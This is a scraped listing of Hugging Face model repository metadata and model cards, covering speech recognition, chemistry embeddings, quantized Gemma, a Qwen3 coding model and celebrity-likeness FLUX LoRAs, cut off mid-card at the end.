HeOeH/ttmamba	HeOeH	2025-05-30T08:20:45Z	0	0	null	[ "region:us" ]	null	2025-05-30T08:10:43Z	Found. Redirecting to https://cdn-lfs-us-1.hf.co/repos/21/ed/21edfa7c4300869037612716edf31f620e4f7910b176b586add3ff2539002b29/4bcf87ecfbbb8e07a01b21415a970c8b53a5283bf6872b657040d3f45c9241f7?response-content-disposition=inline%3B+filename*%3DUTF-8%27%27README.md%3B+filename%3D%22README.md%22%3B&response-content-type=text%2Fmarkdown&Expires=1748612772&Policy=eyJTdGF0ZW1lbnQiOlt7IkNvbmRpdGlvbiI6eyJEYXRlTGVzc1RoYW4iOnsiQVdTOkVwb2NoVGltZSI6MTc0ODYxMjc3Mn19LCJSZXNvdXJjZSI6Imh0dHBzOi8vY2RuLWxmcy11cy0xLmhmLmNvL3JlcG9zLzIxL2VkLzIxZWRmYTdjNDMwMDg2OTAzNzYxMjcxNmVkZjMxZjYyMGU0Zjc5MTBiMTc2YjU4NmFkZDNmZjI1MzkwMDJiMjkvNGJjZjg3ZWNmYmJiOGUwN2EwMWIyMTQxNWE5NzBjOGI1M2E1MjgzYmY2ODcyYjY1NzA0MGQzZjQ1YzkyNDFmNz9yZXNwb25zZS1jb250ZW50LWRpc3Bvc2l0aW9uPSomcmVzcG9uc2UtY29udGVudC10eXBlPSoifV19&Signature=okAAuHtV0vLlALAirj6%7Ew47Wsc0rzkXXIdkOjJStwnu1b%7EXIuvnl4ZaiBIn3gzOVsAP1lDqRN4ZUeLdsSUBZ-R7iMvQisDgUOafBFwJb9WmPhjnYDiijt7rbFo8olQUKbNJ4PJnuzjtE%7E4TimfbX%7EJYafeTICmUmZZXSXTlq6S7zdB991nCYcWDJTiW33EKQEgtQCpDGbx-tL3mQhCu2fbL13jGShbX%7Es5-afyn9R1uB6KGw7hKYFb7eN1cGaOuuxgQmhasUUJd0PoEN0BNLvOXyND04UWBMImEfNbR--JNkcSGBJqGcL8FSiEm8zJGacu8GyKxRPFGfiPpudlGeuw__&Key-Pair-Id=K24J24Z295AEI9
RoyRoyRpy/test_fine-tuned-visionllama_100_epo1	RoyRoyRpy	2025-05-30T08:14:34Z	0	0	peft	[ "peft", "tensorboard", "safetensors", "trl", "sft", "generated_from_trainer", "base_model:meta-llama/Llama-3.2-11B-Vision-Instruct", "base_model:adapter:meta-llama/Llama-3.2-11B-Vision-Instruct", "license:llama3.2", "region:us" ]	null	2025-05-30T08:14:08Z	--- library_name: peft license: llama3.2 base_model: meta-llama/Llama-3.2-11B-Vision-Instruct tags: - trl - sft - generated_from_trainer model-index: - name: test_fine-tuned-visionllama_100_epo1 results: [] --- <!-- This model card has been generated automatically according to the information the Trainer had access to. You should probably proofread and complete it, then remove this comment. --> # test_fine-tuned-visionllama_100_epo1 This model is a fine-tuned version of [meta-llama/Llama-3.2-11B-Vision-Instruct](https://huggingface.co/meta-llama/Llama-3.2-11B-Vision-Instruct) on an unknown dataset. ## Model description More information needed ## Intended uses & limitations More information needed ## Training and evaluation data More information needed ## Training procedure ### Training hyperparameters The following hyperparameters were used during training: - learning_rate: 0.0002 - train_batch_size: 10 - eval_batch_size: 8 - seed: 42 - gradient_accumulation_steps: 8 - total_train_batch_size: 80 - optimizer: Adam with betas=(0.9,0.999) and epsilon=1e-08 - lr_scheduler_type: constant - lr_scheduler_warmup_ratio: 0.03 - num_epochs: 1 ### Training results ### Framework versions - PEFT 0.13.0 - Transformers 4.45.1 - Pytorch 2.4.0+cu121 - Datasets 3.0.1 - Tokenizers 0.20.3
FBK-MT/fama-medium	FBK-MT	2025-05-30T08:14:10Z	5	1	null	[ "safetensors", "conformer_encoder_decoder", "speech", "speech recognition", "speech translation", "ASR", "ST", "custom_code", "en", "it", "dataset:FBK-MT/mosel", "dataset:facebook/covost2", "dataset:openslr/librispeech_asr", "dataset:facebook/voxpopuli", "arxiv:2505.22759", "license:cc-by-4.0", "region:us" ]	null	2025-03-31T17:01:17Z	--- license: cc-by-4.0 language: - en - it datasets: - FBK-MT/mosel - facebook/covost2 - openslr/librispeech_asr - facebook/voxpopuli metrics: - comet - wer tags: - speech - speech recognition - speech translation - ASR - ST --- # FAMA-medium <div> <img src="FAMA.png" width="100%" alt="FAMA" /> </div> ## Table of Contents 1. [Overview](#overview) 2. [Usage](#Usage) 3. [Results](#Results) 4. [License](#license) 5. [Citation](#citation) ## Overview FAMA is the first family of large-scale open-science SFMs for English and Italian trained on [over 150k hours of exclusively open-source(OS)-compliant speech data](https://huggingface.co/datasets/FBK-MT/fama-data). FAMA models achieve [remarkable results](#results), with ASR and ST improvements on average across languages compared to OWSM, and is competitive in terms of ASR performance with the Whisper model family while being up to 8 times faster. All the artifacts used for realizing FAMA models, including codebase, datasets, and models themself are [released under OS-compliant licenses](#license), promoting a more responsible creation of models in our community. It is available in 2 sizes, with 2 variants for ASR only: - [FAMA-small](https://huggingface.co/FBK-MT/fama-small) - 475 million parameters - [FAMA-medium](https://huggingface.co/FBK-MT/fama-medium) - 878 million parameters - [FAMA-small-asr](https://huggingface.co/FBK-MT/fama-small-asr) - 475 million parameters - [FAMA-medium-asr](https://huggingface.co/FBK-MT/fama-medium-asr) - 878 million parameters For more information about FAMA, please check our [blog post](https://huggingface.co/blog/FAMA/release) and the [arXiv](https://arxiv.org/abs/2505.22759) preprint. ## Usage FAMA models are supported in Hugging Face 🤗 Transformers. To run the model, first install the Transformers and Datasets libraries. ```sh pip install transformers==4.48.1 datasets ``` To perform a single inference on a sample audio file using the [`pipeline`](https://huggingface.co/docs/transformers/main_classes/pipelines#transformers.AutomaticSpeechRecognitionPipeline) class, run: ```python import torch from transformers import AutoProcessor, pipeline from datasets import load_dataset model_id = "FBK-MT/fama-medium" processor = AutoProcessor.from_pretrained(model_id) device = "cuda:0" if torch.cuda.is_available() else "cpu" tgt_lang = "en" # Force the model to start with the language tag lang_tag = "<lang:{}>".format(tgt_lang) lang_tag_id = processor.tokenizer.convert_tokens_to_ids(lang_tag) generate_kwargs = {"num_beams": 5, "no_repeat_ngram_size": 5, "forced_bos_token_id": lang_tag_id} pipe = pipeline( "automatic-speech-recognition", model=model_id, trust_remote_code=True, torch_dtype=torch.float32, device=device, return_timestamps=False, generate_kwargs=generate_kwargs ) dataset = load_dataset("distil-whisper/librispeech_asr_dummy", "clean", split="validation") sample = dataset[0]["audio"] result = pipe(sample) print(result["text"]) ``` Where `tgt_lang` is the target language (either `en` or `it`). The source languages has not to be specified. To run the inference on a local audio file `audio.wav`, call the pipeline with: ```python result = pipe("audio.wav") ``` To perform a batch inference with size `batch_size`, run: ```python result = pipe(["audio_1.wav", "audio_2.wav"], batch_size=2) ``` For the inference, we suggest converting the audio files in wav format with 16kHz sampling rate and 1 channel. ## Results We evaluate FAMA on ASR and ST tasks using popular open-source datasets such as CommonVoice, Multilingual LibriSpeech (MLS), VoxPopuli, CoVoST2 and FLEURS. The metrics used are WER (↓) for ASR, and COMET (↑) for ST. We also benchmark FAMA in terms of computational time and maximum batch size supported on HuggingFace against Whisper and SeamlessM4T models. The metric used is the inverse real time factor (xRTF). Key highlights: - FAMA achieves up to 4.2 WER and 0.152 COMET improvement on average across languages compared to OWSM v3.1 - FAMA is up to 8 times faster than Whisper large-v3 while achieving comparable ASR performance ### Automatic Speech Recogniton (ASR) \| *Model/Dataset WER (↓)* \| CommonVoice-en \| CommonVoice-it \| MLS-en \| MLS-it \| VoxPopuli-en \| VoxPopuli-it \| AVG-en \| AVG-it \| \|-----------------------------------------\|---------\|---------\|---------\|---------\|---------\|----------\|---------\|----------\| \| Whisper medium \| 14.5 \| 10.4 \| 14.2 \| 15.9 \| 8.1 \| 26.8 \| 12.3 \| 17.7 \| \| Whisper large-v3 \| 11.2 \| 6.5 \| 5.0 \| 8.8 \| 7.1 \| 18.8 \| 7.8 \| 11.4 \| \| OWSM v3.1 medium \| 11.9 \| 12.5 \| 6.6 \| 19.3 \| 8.4 \| 24.0 \| 9.0 \| 18.6 \| \| SeamlessM4T medium \| 10.7 \| 7.8 \| 8.8 \| 11.3 \| 10.2 \| 18.2 \| 9.9 \| 12.4 \| \| SeamlessM4T v2-large \| 7.7 \| 5.0 \| 6.4 \| 8.5 \| 6.9 \| 16.6 \| 7.0 \| 10.0 \| \| FAMA-ASR small \| 13.8 \| 8.9 \| 5.8 \| 12.6 \| 7.2 \| 15.7 \| 8.9 \| 12.4 \| \| FAMA-ASR medium \| 11.7 \| 7.1 \| 5.1 \| 12.2 \| 7.0 \| 15.9 \| 7.9 \| 11.7 \| \| FAMA small \| 13.7 \| 8.6 \| 5.8 \| 12.8 \| 7.3 \| 15.6 \| 8.9 \| 12.3 \| \| FAMA medium \| 11.5 \| 7.0 \| 5.2 \| 13.9 \| 7.2 \| 15.9 \| 8.0 \| 12.3 \| ### Speech Translation (ST) \| *Model/Dataset WER (↓)* \| CoVoST2-it→en \| FLEURS-en→it \| \|-----------------------------------------\|---------------------\|--------------------\| \| Whisper medium \| 0.801 \| - \| \| Whisper large-v3 \| 0.825 \| - \| \| OWSM v3.1 medium \| 0.636 \| 0.337 \| \| SeamlessM4T medium \| 0.831 \| 0.820 \| \| SeamlessM4T v2-large \| 0.852 \| 0.855 \| \| FAMA small \| 0.774 \| 0.807 \| \| FAMA medium \| 0.787 \| 0.821 \| ### Computational Time and Maximum Batch Size \| *Model* \| *Batch Size* \| *xRTF en (↑)* \| *xRTF it (↑)* \| *xRTF AVG (↑)* \| \|------------------------\|------------\|-------------\|-------------\|--------------\| \| Whisper medium \| 8 \| 13.3 \| 10.9 \| 12.1 \| \| Whisper large-v3 \| 4 \| 7.9 \| 6.5 \| 7.2 \| \| SeamlessM4T medium \| 2 \| 28.5 \| 26.2 \| 27.4 \| \| SeamlessM4T v2-large \| 2 \| 13.7 \| 13.3 \| 13.5 \| \| FAMA small \| 16 \| 57.4 \| 56.0 \| 56.7 \| \| FAMA medium \| 8 \| 39.5 \| 41.2 \| 40.4 \| ## License We release the FAMA model weights, and training data under the CC-BY 4.0 license. The training data can be found in [FAMA Training Data](https://huggingface.co/datasets/FBK-MT/fama-data). The [original FBK-fairseq codebase](https://github.com/hlt-mt/FBK-fairseq) used to train the model is released under the Apache 2.0 license. ## Citation If you use FAMA in your work, please cite: ``` @misc{papi2025fama, title={FAMA: The First Large-Scale Open-Science Speech Foundation Model for English and Italian}, author={Sara Papi and Marco Gaido and Luisa Bentivogli and Alessio Brutti and Mauro Cettolo and Roberto Gretter and Marco Matassoni and Mohamed Nabih and Matteo Negri}, year={2025} } ```
Derify/ChemMRL-alpha	Derify	2025-05-30T08:13:06Z	215	0	sentence-transformers	[ "sentence-transformers", "safetensors", "roberta", "smiles-similarity", "feature-extraction", "molecular-similarity", "sentence-similarity", "arxiv:2010.09885", "arxiv:2209.01712", "arxiv:2205.13147", "arxiv:2402.14776", "arxiv:1911.02855", "arxiv:1908.10084", "autotrain_compatible", "text-embeddings-inference", "endpoints_compatible", "region:us" ]	sentence-similarity	2025-05-27T01:32:43Z	--- tags: - sentence-transformers - smiles-similarity - feature-extraction - molecular-similarity pipeline_tag: sentence-similarity library_name: sentence-transformers metrics: - accuracy --- # Chem-MRL (SentenceTransformer) This is a trained [Chem-MRL](https://github.com/emapco/chem-mrl) [sentence-transformers](https://www.SBERT.net) model. It maps SMILES to a 1024-dimensional dense vector space and can be used for semantic textual similarity, semantic search, database indexing, molecular classification, clustering, and more. ## Model Details ### Model Description - Model Type: Sentence Transformer <!-- - Base model: [Unknown](https://huggingface.co/unknown) --> - Maximum Sequence Length: 128 tokens - Output Dimensionality: 1024 dimensions - Similarity Function: Cosine Similarity <!-- - Training Dataset: Unknown --> <!-- - Language: Unknown --> <!-- - License: Unknown --> ### Model Sources - Repository: [Chem-MRL on GitHub](https://github.com/emapco/chem-mrl) - Demo App Repository: [Chem-MRL-demo on GitHub](https://github.com/emapco/chem-mrl-demo) ### Full Model Architecture ``` SentenceTransformer( (0): Transformer({'max_seq_length': 128, 'do_lower_case': False}) with Transformer model: RobertaModel (ChemBERTa) (1): Pooling({'word_embedding_dimension': 1024, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) (2): Normalize() ) ``` ## Usage ### Direct Usage (Sentence Transformers) First install the Sentence Transformers library: ```bash pip install -U sentence-transformers ``` Then you can load this model and run inference. ```python from sentence_transformers import SentenceTransformer # Download from the 🤗 Hub model = SentenceTransformer("Derify/ChemMRL-alpha") # Run inference sentences = [ 'CCO', "CC(C)O", 'CC(=O)O', ] embeddings = model.encode(sentences) print(embeddings.shape) # [3, 1024] # Get the similarity scores for the embeddings similarities = model.similarity(embeddings, embeddings) print(similarities.shape) # [3, 3] ``` <!-- ### Direct Usage (Transformers) <details><summary>Click to see the direct usage in Transformers</summary> </details> --> <!-- ### Downstream Usage (Sentence Transformers) You can finetune this model on your own dataset. <details><summary>Click to expand</summary> </details> --> <!-- ### Out-of-Scope Use List how the model may foreseeably be misused and address what users ought not to do with the model. --> <!-- ## Bias, Risks and Limitations What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model. --> <!-- ### Recommendations What are recommendations with respect to the foreseeable issues? For example, filtering explicit content. --> ## Training Details ### Framework Versions - Python: 3.12.9 - Sentence Transformers: 4.0.1 - Transformers: 4.48.2 - PyTorch: 2.6.0+cu124 - Accelerate: 1.4.0 - Datasets: 3.3.2 - Tokenizers: 0.21.0 ## Citation - Chithrananda, Seyone, et al. "ChemBERTa: Large-Scale Self-Supervised Pretraining for Molecular Property Prediction." _arXiv [Cs.LG]_, 2020. [Link](http://arxiv.org/abs/2010.09885). - Ahmad, Walid, et al. "ChemBERTa-2: Towards Chemical Foundation Models." _arXiv [Cs.LG]_, 2022. [Link](http://arxiv.org/abs/2209.01712). - Kusupati, Aditya, et al. "Matryoshka Representation Learning." _arXiv [Cs.LG]_, 2022. [Link](https://arxiv.org/abs/2205.13147). - Li, Xianming, et al. "2D Matryoshka Sentence Embeddings." _arXiv [Cs.CL]_, 2024. [Link](http://arxiv.org/abs/2402.14776). - Bajusz, Dávid, et al. "Why is the Tanimoto Index an Appropriate Choice for Fingerprint-Based Similarity Calculations?" _J Cheminform_, 7, 20 (2015). [Link](https://doi.org/10.1186/s13321-015-0069-3). - Li, Xiaoya, et al. "Dice Loss for Data-imbalanced NLP Tasks." _arXiv [Cs.CL]_, 2020. [Link](https://arxiv.org/abs/1911.02855) - Reimers, Nils, and Gurevych, Iryna. "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks." _Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing_, 2019. [Link](https://arxiv.org/abs/1908.10084). ## Model Card Authors [@eacortes](https://huggingface.co/eacortes) ## Model Card Contact Manny Cortes ([email protected])
the-jb/phi-1_5-tofu_retain90	the-jb	2025-05-30T08:12:53Z	130	0	null	[ "safetensors", "phi", "dataset:locuslab/TOFU", "base_model:microsoft/phi-1_5", "base_model:finetune:microsoft/phi-1_5", "license:mit", "region:us" ]	null	2025-04-15T13:05:31Z	--- license: mit datasets: - locuslab/TOFU base_model: - microsoft/phi-1_5 --- ## Model Summary This model is a fine-tuned version of [microsoft/phi-1_5](https://huggingface.co/microsoft/phi-1_5) on the `retain90` split of the [locuslab/TOFU](https://huggingface.co/datasets/locuslab/TOFU) dataset, following the setup from [locuslab/tofu](https://github.com/locuslab/tofu). This release includes the tokenizer files. ## License This model is licensed under the [MIT License](https://opensource.org/licenses/MIT), inherited from the base model.
gigipalsu/gemma-3-12b-it-Q4_K_M-GGUF	gigipalsu	2025-05-30T08:12:42Z	0	0	transformers	[ "transformers", "gguf", "llama-cpp", "gguf-my-repo", "image-text-to-text", "base_model:unsloth/gemma-3-12b-it", "base_model:quantized:unsloth/gemma-3-12b-it", "license:gemma", "endpoints_compatible", "region:us", "conversational" ]	image-text-to-text	2025-05-30T08:11:52Z	--- license: gemma library_name: transformers pipeline_tag: image-text-to-text extra_gated_heading: Access Gemma on Hugging Face extra_gated_prompt: To access Gemma on Hugging Face, you’re required to review and agree to Google’s usage license. To do this, please ensure you’re logged in to Hugging Face and click below. Requests are processed immediately. extra_gated_button_content: Acknowledge license base_model: unsloth/gemma-3-12b-it tags: - llama-cpp - gguf-my-repo --- # gigipalsu/gemma-3-12b-it-Q4_K_M-GGUF This model was converted to GGUF format from [`unsloth/gemma-3-12b-it`](https://huggingface.co/unsloth/gemma-3-12b-it) using llama.cpp via the ggml.ai's [GGUF-my-repo](https://huggingface.co/spaces/ggml-org/gguf-my-repo) space. Refer to the [original model card](https://huggingface.co/unsloth/gemma-3-12b-it) for more details on the model. ## Use with llama.cpp Install llama.cpp through brew (works on Mac and Linux) ```bash brew install llama.cpp ``` Invoke the llama.cpp server or the CLI. ### CLI: ```bash llama-cli --hf-repo gigipalsu/gemma-3-12b-it-Q4_K_M-GGUF --hf-file gemma-3-12b-it-q4_k_m.gguf -p "The meaning to life and the universe is" ``` ### Server: ```bash llama-server --hf-repo gigipalsu/gemma-3-12b-it-Q4_K_M-GGUF --hf-file gemma-3-12b-it-q4_k_m.gguf -c 2048 ``` Note: You can also use this checkpoint directly through the [usage steps](https://github.com/ggerganov/llama.cpp?tab=readme-ov-file#usage) listed in the Llama.cpp repo as well. Step 1: Clone llama.cpp from GitHub. ``` git clone https://github.com/ggerganov/llama.cpp ``` Step 2: Move into the llama.cpp folder and build it with `LLAMA_CURL=1` flag along with other hardware-specific flags (for ex: LLAMA_CUDA=1 for Nvidia GPUs on Linux). ``` cd llama.cpp && LLAMA_CURL=1 make ``` Step 3: Run inference through the main binary. ``` ./llama-cli --hf-repo gigipalsu/gemma-3-12b-it-Q4_K_M-GGUF --hf-file gemma-3-12b-it-q4_k_m.gguf -p "The meaning to life and the universe is" ``` or ``` ./llama-server --hf-repo gigipalsu/gemma-3-12b-it-Q4_K_M-GGUF --hf-file gemma-3-12b-it-q4_k_m.gguf -c 2048 ```
prithivMLmods/Wolf-Rayet-2B-Prime3	prithivMLmods	2025-05-30T08:11:05Z	10	0	transformers	[ "transformers", "safetensors", "qwen3", "text-generation", "text-generation-inference", "code", "reinforcement-learning", "math", "conversational", "en", "arxiv:2309.00071", "base_model:Qwen/Qwen3-1.7B", "base_model:finetune:Qwen/Qwen3-1.7B", "license:apache-2.0", "autotrain_compatible", "endpoints_compatible", "region:us" ]	text-generation	2025-05-29T14:10:35Z	--- library_name: transformers tags: - text-generation-inference - code - reinforcement-learning - math license: apache-2.0 language: - en base_model: - Qwen/Qwen3-1.7B pipeline_tag: text-generation --- ![78.png](https://cdn-uploads.huggingface.co/production/uploads/65bb837dbfb878f46c77de4c/l1J-T76goSfuIfoKX_uL5.png) # Wolf-Rayet-2B-Prime3 > Wolf-Rayet-2B-Prime3 is a compact, coding-optimized language model built on the Qwen3 1.7B architecture, fine-tuned for high-accuracy code generation, debugging, and technical reasoning. With approximately 2 billion effective parameters, it offers a strong balance between performance and deployability—ideal for developers, educators, and engineers operating in resource-constrained or latency-sensitive environments. > \[!note] > GGUF: [https://huggingface.co/prithivMLmods/Wolf-Rayet-2B-Prime3-GGUF](https://huggingface.co/prithivMLmods/Wolf-Rayet-2B-Prime3-GGUF) --- ## Key Features 1. Qwen3 Architecture Core Based on the modern and efficient Qwen3 1.7B transformer backbone, offering improved context handling and token efficiency for both single-turn and multi-turn programming tasks. 2. Code-First Fine-Tuning Trained extensively on diverse code datasets including Python, JavaScript, C++, and Bash, with auxiliary tuning on software documentation, APIs, and debugging dialogues. 3. Multi-Step Technical Reasoning Demonstrates the ability to deconstruct complex programming problems, explain logic, refactor code, and correct errors—particularly useful for students, engineers, and coding educators. 4. Structured Output Proficiency Supports accurate generation of structured formats like JSON, YAML, Markdown, and code blocks—ready to plug into developer tools, notebooks, and documentation pipelines. 5. Compact Yet Capable With a \~2B parameter scale, it delivers competitive performance without the high resource requirements of larger models, and is easily deployable on modern GPUs or high-end CPUs. 6. Multilingual Coding Support Capable of generating and understanding code in 10+ programming languages, with a focus on real-world use cases, automation scripts, and algorithmic solutions. --- ## Quickstart with Transformers ```python from transformers import AutoModelForCausalLM, AutoTokenizer model_name = "prithivMLmods/Wolf-Rayet-2B-Prime3" model = AutoModelForCausalLM.from_pretrained( model_name, torch_dtype="auto", device_map="auto" ) tokenizer = AutoTokenizer.from_pretrained(model_name) prompt = "Write a Python function to check if a number is prime." messages = [ {"role": "system", "content": "You are a helpful coding assistant."}, {"role": "user", "content": prompt} ] text = tokenizer.apply_chat_template( messages, tokenize=False, add_generation_prompt=True ) model_inputs = tokenizer([text], return_tensors="pt").to(model.device) generated_ids = model.generate( model_inputs, max_new_tokens=512 ) generated_ids = [ output_ids[len(input_ids):] for input_ids, output_ids in zip(model_inputs.input_ids, generated_ids) ] response = tokenizer.batch_decode(generated_ids, skip_special_tokens=True)[0] print(response) ``` --- ## Intended Use** * Code generation, refactoring, and cross-language translation * Programming education and tutoring * Technical documentation and boilerplate generation * Debugging assistance and bug-fix suggestions * Lightweight integration into IDEs, developer tools, and offline environments --- ## Limitations * Context length is shorter than that of larger models (>7B) * May require prompt engineering for complex or deeply nested code * Limited general natural language conversation capabilities * Not intended for creative writing or non-technical tasks --- ## References 1. [Qwen3 (1.7B) Model Overview](https://huggingface.co/Qwen/Qwen1.5-1.8B) 2. [YaRN: Efficient Context Window Extension of Large Language Models](https://arxiv.org/pdf/2309.00071)
MSey/CA_paper_tiny_CALL_c511_r1_O1_f1_LT	MSey	2025-05-30T08:06:46Z	2	0	transformers	[ "transformers", "safetensors", "llama", "text-generation", "trl", "sft", "arxiv:1910.09700", "autotrain_compatible", "text-generation-inference", "endpoints_compatible", "region:us" ]	text-generation	2025-05-23T16:01:30Z	--- library_name: transformers tags: - trl - sft --- # Model Card for Model ID <!-- Provide a quick summary of what the model is/does. --> ## Model Details ### Model Description <!-- Provide a longer summary of what this model is. --> This is the model card of a 🤗 transformers model that has been pushed on the Hub. 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Seanwang1221/Gaoyuanyuan_FLUX	Seanwang1221	2025-05-30T08:02:16Z	16	0	diffusers	[ "diffusers", "text-to-image", "lora", "template:diffusion-lora", "base_model:black-forest-labs/FLUX.1-dev", "base_model:adapter:black-forest-labs/FLUX.1-dev", "region:us" ]	text-to-image	2025-05-29T13:59:44Z	--- tags: - text-to-image - lora - diffusers - template:diffusion-lora widget: - text: >- GYY, a woman wearing a (plaid pencil_dress), holding a purse, floral print, depth of field, night cityscape, 1girl, long hair, ulzzang-6500v1.1, (original: 1.2), (realistic: 1.3) , beautiful girl with beautiful details, extremely detailed eyes and face, eyes with beautiful details, absurd, incredibly absurd, huge file size, ultra detail, high resolution, ultra detailed, best quality, masterpiece, illustration, ultra detailed and beautiful, ultra detailed, CG, unity, 8k wallpaper, amazing, fine Detail, masterpiece, top quality, official art, extremely detailed CG unity 8k wallpaper, cinematic lighting, (perfect shiny skin:0.6), slim and smooth lines, (floating), (small breasts:1), earrings , pearl necklace output: url: images/Liblib_00455_.png - text: >- GYY, PH0383RG, In a captivating, high-definition close-up, the image showcases a striking woman with black hair cascading down her shoulders, her brown eyes sparkling with an intriguing gaze as they lock onto the viewer. The camera is angled slightly from below, emphasizing her chiseled jawline and full, luscious lips painted in a bold shade of red. She wears an exquisite Victorian-inspired outfit, complete with a corseted bodice adorned with intricate lace patterns and delicate pearls, and a long, flowing skirt that billows softly around her legs. A dazzling array of jewels and gemstones, including a large pendant necklace and a pair of matching earrings, accentuate her regal beauty. The scene is set in a dimly lit, opulent ballroom with grand chandeliers casting a warm, golden glow on the woman's elegant figure. The emotional tone of the image is one of confidence, allure, and an air of mystery that leaves the viewer captivated and spellbound. output: url: images/Liblib_00460_.png - text: >- GYY, Nikon Z7 II and a NIKKOR Z 50mm f,1girl, 20yo,(wearing a red cheongsam),(in london city),(RAW photo, best quality), (realistic, photo-realistic), masterpiece, an extremely delicate and beautiful, extremely detailed, 2k wallpaper, Amazing, finely detail, extremely detailed CG unity 8k wallpaper, ultra-detailed, highres, soft light, beautiful detailed girl, extremely detailed eyes and face, beautiful detailed nose, beautiful detailed eyes,cinematic lighting,perfect anatomy,(slim body),hair bun,(black hair),city lights at night,smiling output: url: images/Liblib_00470_.png - text: >- GYY, An upper body image of a beautiful young lady, wavy hair, bright brown eyes, and bold eyeliner. She has fake nails, and her lips are shiny and full. She wears helix piercing. The extreme realism focuses on her detailed skin, showing fine textures and natural highlights. The background is open area with Families flying kites in open city, Small groups of people playing instruments in parks Her outfit are Loose-fitting kaftan dress with intricate patterns and earthy tones Subtle skin pores and natural texture on the face and neck, Realistic light reflections on the surface of the eyes, Slightly raised veins visible under the skin on the neck, Subtle veins visible on the eyelids under certain lighting, Realistic reflection of light on the glossy lips, following their curvature, Soft reflections on the necklace, enhancing its metallic look, Soft shadows under the lower lip, enhancing depth and form, slight noise effect to add texture and realism to the image.a slight sheen of sweat or natural skin oil to areas like the forehead and nose.Apply subsurface scattering to the skin to simulate the way light penetrates and scatters within it, enhancing realism. taking a selfie, holding her hand out and smiling cheerfully, her lips open revealing her beautiful teeth and tongue output: url: images/Liblib_00477_.png base_model: black-forest-labs/FLUX.1-dev instance_prompt: GYY --- # Gao Yuanyuan 高圆圆 Flux <Gallery /> ## Model description https://cdn-uploads.huggingface.co/production/uploads/66dc28e2928613d3397f0bf8/OV3DPWvDqXFIqjcFxNqAl.mp4 ## Trigger words You should use `GYY` to trigger the image generation. ## Download model Weights for this model are available in Safetensors format. [Download](/Seanwang1221/Gaoyuanyuan_FLUX1/tree/main) them in the Files & versions tab.
Seanwang1221/Wangluodan_FLUX	Seanwang1221	2025-05-30T08:00:25Z	0	0	diffusers	[ "diffusers", "text-to-image", "lora", "template:diffusion-lora", "base_model:black-forest-labs/FLUX.1-dev", "base_model:adapter:black-forest-labs/FLUX.1-dev", "region:us" ]	text-to-image	2025-05-30T07:59:44Z	--- tags: - text-to-image - lora - diffusers - template:diffusion-lora widget: - text: >- WLD, In a gritty, noir-inspired scene set against the backdrop of a dimly lit, rain-soaked neon-lit street in 1940s New York City, a mysterious woman with cascading chestnut locks adorned with antique pearl earrings and a striking silver pendant necklace, stands tall with her back against the brick wall of an abandoned building. Her parted lips are slightly pursed as she gazes directly at the viewer with piercing emerald eyes, her teeth glinting in the intermittent neon glow reflecting off the wet pavement beneath her. The camera is positioned low and angled upwards, capturing a close-up of her enigmatic expression and the intricate details of her vintage fur coat and trench dress, creating an intense emotional tone of allure and danger that hints at secrets yet to be revealed. output: url: images/Liblib_01179_.png - text: >- WLD, In a dimly lit, vintage-inspired boudoir, the captivating WLD is poised against a velvet-draped chaise lounge, her cascading raven tresses framing a radiant smile that lights up the room. Her eyes twinkle with an enchanting allure as they gaze into the distance, a pair of exquisite emerald earrings adorning her lobes. A smoky-eye makeup look and bold red lipstick accentuate her stunning features. Her fingers playfully trace the edge of a worn, feather-trimmed pillow, her delicate hand adorned with intricate gold bracelets. The camera captures this intimate moment from a low angle, focusing on her expressive eyes and the subtle glow emanating from within, creating an ethereal and dreamy atmosphere that speaks volumes about her innate grace and charisma. output: url: images/Liblib_01198_.png - text: >- WLD, In a captivating, ethereal scene reminiscent of a Renaissance painting, the camera angles from below, capturing a close-up view. A woman with an ageless beauty adorned in a whimsical, Victorian-inspired gown with intricate lacework and pastel hues stands against the backdrop of a sunlit meadow, her long, cascading chestnut curls framing her delicate features. Her eyes, filled with warmth and curiosity, are locked onto the viewer's gaze as she subtly smiles, emanating an enchanting charm that transcends time. The soft, golden sunlight filters through dappled leaves overhead, casting a warm, radiant glow on her face, creating a vivid, dreamlike atmosphere that exudes tranquility and love. output: url: images/Liblib_01200_.png - text: >- WLD, In a dimly lit, ethereal forest clearing bathed in moonlight, a striking brown hair woman with a closed-mouth smile, stands poised and confident. She is adorned in an intricately designed white shirt that shimmers under the moonbeams, revealing delicate jewelry and a unique pendant necklace around her neck. The camera captures a close-up of her face, focusing on her captivating black eyes that seem to sparkle like the stars above. Her short hair cascades down her back in soft, creating an air of mystique as she gazes off into the distance, surrounded by a halo of moonlight and the rustling leaves of ancient trees. The emotional tone evokes a sense of serenity and enchantment within the dense, magical forest setting. output: url: images/Liblib_01205_.png base_model: black-forest-labs/FLUX.1-dev instance_prompt: WLD --- # Wang Luodan 王珞丹 Flux <Gallery /> ## Trigger words You should use `WLD` to trigger the image generation. ## Download model Weights for this model are available in Safetensors format. [Download](/Seanwang1221/Wangluodan_FLUX/tree/main) them in the Files & versions tab.
Jackmin108/qwen-7b-rl-step-1	Jackmin108	2025-05-30T07:57:48Z	0	0	transformers	[ "transformers", "safetensors", "qwen2", "text-generation", "conversational", "arxiv:2501.12948", "license:mit", "autotrain_compatible", "text-generation-inference", "endpoints_compatible", "region:us" ]	text-generation	2025-05-30T05:03:06Z	--- license: mit library_name: transformers --- # DeepSeek-R1 <!-- markdownlint-disable first-line-h1 --> <!-- markdownlint-disable html --> <!-- markdownlint-disable no-duplicate-header --> <div align="center"> <img src="https://github.com/deepseek-ai/DeepSeek-V2/blob/main/figures/logo.svg?raw=true" width="60%" alt="DeepSeek-V3" /> </div> <hr> <div align="center" style="line-height: 1;"> <a href="https://www.deepseek.com/" target="_blank" style="margin: 2px;"> <img alt="Homepage" src="https://github.com/deepseek-ai/DeepSeek-V2/blob/main/figures/badge.svg?raw=true" style="display: inline-block; vertical-align: middle;"/> </a> <a href="https://chat.deepseek.com/" target="_blank" style="margin: 2px;"> <img alt="Chat" src="https://img.shields.io/badge/🤖%20Chat-DeepSeek%20R1-536af5?color=536af5&logoColor=white" style="display: inline-block; vertical-align: middle;"/> </a> <a href="https://huggingface.co/deepseek-ai" target="_blank" style="margin: 2px;"> <img 